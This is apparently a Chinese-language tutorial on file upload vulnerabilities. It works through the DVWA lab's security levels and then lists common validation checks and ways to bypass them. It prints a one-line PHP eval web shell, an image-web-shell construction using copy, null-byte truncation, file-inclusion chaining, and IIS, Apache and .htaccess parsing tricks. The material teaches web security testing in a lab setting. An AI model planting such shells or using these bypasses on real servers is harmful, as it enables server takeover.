文件上传漏洞定义
文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查,使得可以通过上传webshell获取服务器权限,因此文件上传漏洞带来的危害通常是毁灭性的。
文件上传漏洞的前提
- 能上传的木马
- 上传的木马可执行
- 还要清楚上传后的路径
实现过程
LOW级别
源码

basename(path,suffix):返回path中的文件名部分,如果可选参数suffix为空,则返回的文件名中包含文件后缀名,反之不包含文件后缀名。
由源码可知暂时并没有进行任何过滤;
(1)创建1.php并上传
1.php:<?php phpinfo();?>
可发现上传成功,服务器未做任何限制,此时再次访问上传路径
http://192.168.254.128/dvwa/hackable/uploads/1.php#
上传并执行php文件,说明存在文件上传漏洞
(2)上传一句话木马
b.php:<?php @eval($_POST[cmd]);?>
http://192.168.254.128/dvwa/hackable/uploads/b.php#
页面没有报错说明上传成功
打开中国菜刀,并且写入路径
路径:http://192.168.254.128/dvwa/hackable/uploads/b.php
拿到反弹shell
medium级别
源码
可见在源码中对上传文件的大小和类型进行了限制;
解决办法
1、burpsuit抓包修改
实验过程
对比上传成功的数据包和上传失败的数据包
上传成功的数据包
上传失败的数据包
对上传失败的数据包进行修改,便可上传成功
后续在菜刀里面运行便可;
[也可先上传b.jpeg,在抓包中再修改文件名]
2、%00截断绕过
实验过程
%00截断绕过,此时,服务器会将low.php%00.png认为其文件名为low.php,解析为PHP文件(仅限于PHP版本小于5.3.4的版本)
high级别
源码
substr():返回字符串的一部分;
$uploaded_ext:等于文件的后缀名;
getimagesize(string filename):函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
getimagesize():函数限制了上传文件的文件头(限制了文件的大小及图片尺寸)。
High安全等级采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。
绕过方法
制作图片木马,文件上传与文件包含结合
copy 1.jpg/b + a.php/a 1a.jpeg
//1.jpg :任一图片
//b:二进制
// a.php :一句话木马
//a:ASCII 生成1a.jpeg
a.php :一句话木马
生成图片马,上传文件
使用文件包含执行图片马(此时kali开始监听)
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg
查看监听结果(脚本已经执行,但是未连接成功是因为脚本内容问题,与操作无关)
impossible级别
(1)上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则);
(2)加入Anti-CSRF token防护CSRF攻击;
(3)对文件的内容做了严格的检查,导致攻击者无法上传含有恶意脚本的文件;
文件上传校验
客户端校验:
javascript校验(一般只校验后缀名)
服务端校验:
(1) 文件头content—type字段校验(image/gif)
(2) 文件内容头校验(GIF89a)
(3) 后缀名黑名单校验
(4) 后缀名白名单校验
(5) 自定义正则校验
(6) WAF(网络入侵级防御系统)设备校验
文件上传绕过手段
1、客户端绕过
可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可;
2、服务端绕过
(1) 文件类型绕过:burp抓包,将content—type字段改为image/gif
(2) 文件头绕过:在木马内容基础上再加了一些文件信息,eg:GIF98a<php phpinfo();?>
(3) 文件后缀名绕过:
前提黑名单校验(一般有个专门的blacklist文件,里面包含常见的危险脚本文件),
绕过方法:
找黑名单扩展名的漏网之鱼,eg:asa和cer之类
可能存在大小写绕过漏洞,eg:aSp和pHp之类
能被解析的文件扩展名列表:jsp jspx jspf asp asa cer aspx php pht php3 php4
3、 配合文件包含漏洞
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马;
绕过方式:(以php为例)
(1) 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2) 然后再上传一个.php文件,内容为<?php include(“上传的txt文件路径”);?>
(3) 此时,这个php文件就回去引用txt文件的内容,从而绕过校验;
4、 配合服务器解析漏洞
IIS解析漏洞
使用IIS5.x-6.x版本的服务器,大多为2003server,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件;
目录解析:www.xxx.com/xx.asp/xx.jpg
原理:服务器会默认把.asp,.asa目录下的文件都解析成asp文件
文件解析:www.xxx.com/xx.asp;.jpg
原理:服务器会默认不解析;后面的内容;
解析文件类型:
IIS6.0默认的可执行文件(asp、/test.asa,/test.cer,/test.cdx)
Apache解析漏洞
原理:apache解析文件的规则是从左向右开始判断解析,如果后缀名为不可识别文件解析,就再往左判断;
Eg:www.xxx.com/test.php.owf.rar
由于rar,owf都不可识别解析,所以解析成php
其余配置问题导致的漏洞:
conf:
AddHandlerphp5-script.php 此时只要文件名包含.php就会以php来执行;
AddTypeapplication/x-httpd-php.jpg 即使扩展名是jpg,一样能以php方式执行;
5、 配合操作系统文件命令规则
上传不符合windows文件命名规则的文件名,会被windows系统自动去掉不符合规则符号后面的内容;
eg:(test.asp,test.asp(空格),test.php:1.jpg)
6、 CMS、编辑器漏洞
(1) CMS漏洞:可针对不同CMS存在的上传漏洞进行绕过;
(2) 编辑器漏洞:(eg:FCK、ewebeditor) 可针对编辑器的漏洞进行绕过;
7、 配合其他规则
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构建上传文件路径的时候,路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
(2).htaccess(上传当前目录的该文件)
AddTtye aaplication/x-http-php.jpg(上传的jpg均以php执行)
嗯嗯~~就这么多了